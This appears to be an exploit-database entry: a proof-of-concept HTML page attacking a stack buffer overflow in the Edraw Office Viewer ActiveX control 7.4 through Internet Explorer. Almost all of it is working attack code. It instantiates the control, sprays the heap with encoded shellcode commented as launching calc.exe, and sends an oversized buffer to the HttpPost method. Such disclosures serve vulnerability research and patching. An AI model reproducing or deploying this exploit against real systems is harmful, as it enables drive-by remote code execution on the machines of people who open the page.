Edraw Office Viewer Component 7.4 – ActiveX Stack Buffer Overflow
<!-- # Exploit Title: Edraw Office Viewer Component V7.4 Stack Buffer Overflow # Date: 25 Feb 2011 # Author: Alexander Gavrun (http://0x1byte.blogspot.com/) # Software Link: http://www.ocxt.com/ # Version: 7.4 # Tested on: Windows Xp Sp2 + Internet Explorer 7 + OfficeViewer 7.4 --> <html> <body> <object classid="clsid:7677E74E-5831-4C9E-A2DD-9B1EF9DF2DB4" id="OA1" width="100%" height="100%" codebase="http://www.edrawsoft.com/download/officeviewer.cab#7,4,0,241"> <param name="Toolbars" value="-1"> <param name="LicenseName" value="30daytrial"> <param name="LicenseCode" value="EDWD-3333-2222-1111"> </object> <script> function heapspray() { //exec calc.exe var shellcode = unescape( "%u9090%u9090%u9090%u9090" ); shellcode += unescape( "%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653%u314e%u7475%u7038%u7765%u4370"); for(S="\u0c0c",k=[],y=0;y++<110;) y<21?S+=S:k[y]=[S.substr(68)+shellcode].join("") } function exploit() { var buf = "http:"; for(i=0; i<18000; i++) buf += unescape("%u0c0c"); OA1.HttpInit(); OA1.HttpPost(buf); } heapspray(); exploit(); </script> </body> </html> |